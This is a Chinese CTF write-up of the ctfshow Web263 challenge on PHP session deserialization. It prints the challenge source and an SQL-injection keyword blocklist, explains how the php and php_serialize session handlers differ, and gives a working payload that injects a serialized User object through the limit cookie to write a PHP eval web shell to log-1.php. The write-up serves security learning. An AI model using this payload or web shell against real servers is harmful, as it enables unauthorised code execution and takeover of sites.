目录

  1. 1. 前言
  2. 2. Web263(session反序列化)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow 反序列化

2023/11/11 Web 反序列化 ctfshow
  |     |   总文章阅读量:

前言

怎么会有人到现在还没做明白反序列化啊呜呜呜

从web263开始做,因为前面几题是在很久很久以前做的

参考X1r0z佬的博客

Web263(session反序列化)

dirsearch扫描发现存在www.zip

下载并解压,稍微审计一下

index.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if (isset($_SESSION['limit'])) {
	$_SESSION['limti'] > 5 ? die("登陆失败次数超过限制") : $_SESSION['limit'] = base64_decode($_COOKIE['limit']);
	$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) + 1);
} else {
	setcookie("limit", base64_encode('1'));
	$_SESSION['limit'] = 1;
}

?>


<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
	<title>ctfshow登陆</title>
	<link href="css/style.css" rel="stylesheet">
</head>

<body>

	<div class="pc-kk-form">
		<center>
			<h1>CTFshow 登陆</h1>
		</center><br><br>
		<form action="" onsubmit="return false;">
			<div class="pc-kk-form-list">
				<input id="u" type="text" placeholder="用户名">
			</div>
			<div class="pc-kk-form-list">
				<input id="pass" type="password" placeholder="密码">
			</div>

			<div class="pc-kk-form-btn">
				<button onclick="check();">登陆</button>
			</div>
		</form>
	</div>


	<script type="text/javascript" src="js/jquery.min.js"></script>

	<script>
		function check() {
			$.ajax({
				url: 'check.php',
				type: 'GET',
				data: {
					'u': $('#u').val(),
					'pass': $('#pass').val()
				},
				success: function(data) {
					alert(JSON.parse(data).msg);
				},
				error: function(data) {
					alert(JSON.parse(data).msg);
				}

			});
		}
	</script>

</body>

</html>

可以发现调用了check.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:59:10
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u" => $_GET['u'], "pass" => $_GET['pass']);


if ($GET) {

	$data = $db->get(
		'admin',
		[
			'id',
			'UserName0'
		],
		[
			"AND" => [
				"UserName0[=]" => $GET['u'],
				"PassWord1[=]" => $GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
			]
		]
	);
	if ($data['id']) {
		//登陆成功取消次数累计
		$_SESSION['limit'] = 0;
		echo json_encode(array("success", "msg" => "欢迎您" . $data['UserName0']));
	} else {
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) + 1);
		echo json_encode(array("error", "msg" => "登陆失败"));
	}
}

包含了inc/inc.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();

use \CTFSHOW\CTFSHOW;

require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入检查
function checkForm($str)
{
    if (!isset($str)) {
        return true;
    } else {
        return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i", $str);
    }
}


class User
{
    public $username;
    public $password;
    public $status;
    function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s)
    {
        $this->status = $s;
    }
    function __destruct()
    {
        file_put_contents("log-" . $this->username, "使用" . $this->password . "登陆" . ($this->status ? "成功" : "失败") . "----" . date_create()->format('Y-m-d H:i:s'));
    }
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function  uuid()
{
    $chars = md5(uniqid(mt_rand(), true));
    $uuid = substr($chars, 0, 8) . '-'
        . substr($chars, 8, 4) . '-'
        . substr($chars, 12, 4) . '-'
        . substr($chars, 16, 4) . '-'
        . substr($chars, 20, 12);
    return $uuid;
}

这里包含了CTFSHOW.php,是数据库相关的代码,没啥审的必要(大概

在inc.php的 User 类中发现我们可能利用的函数file_put_contents

function __destruct()
{
    file_put_contents("log-" . $this->username, "使用" . $this->password . "登陆" . ($this->status ? "成功" : "失败") . "----" . date_create()->format('Y-m-d H:i:s'));
}

而在这个文件的开头有

ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');

明显是要我们打session反序列化,不过找了一圈没找到 unserialize,应该是要用session.serialize_handler之间的差异性打

这里显式的设置了php这个 handler,猜测php.ini里设置的是php_serialize

找一下获取session的点

// index.php
error_reporting(0);
session_start();
//超过5次禁止登陆
if (isset($_SESSION['limit'])) {
	$_SESSION['limti'] > 5 ? die("登陆失败次数超过限制") : $_SESSION['limit'] = base64_decode($_COOKIE['limit']);
	$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) + 1);
} else {
	setcookie("limit", base64_encode('1'));
	$_SESSION['limit'] = 1;
}

// check.php + inc.php
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
	if ($data['id']) {
		//登陆成功取消次数累计
		$_SESSION['limit'] = 0;
		echo json_encode(array("success", "msg" => "欢迎您" . $data['UserName0']));
	} else {
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) + 1);
		echo json_encode(array("error", "msg" => "登陆失败"));
	}

接下来先构造序列化字符串,payload:

<?php
class User{
    public $username;
    public $password;
    function __construct(){
        $this->username = '1.php';
        $this->password = '<?php eval($_POST["cmd"]);?>';
    }
}
echo urlencode(base64_encode('|'.serialize(new User())));
?>

在前面加上 |, 这样的话 session 反序列化的时候 php handler 会默认把 | 前面的内容当做 key, 不会解析, | 后面的才是真正应该反序列化的 value

接下来按顺序分别在index.php和check.php传入(先访问index.php主要是为了让$_SESSION['limit'] = 1,再访问check.php是因为包含了inc.php能执行对应的类)

image-20240422210542427

image-20240422210707581

访问log-1.php就getshell了

image-20240422210947876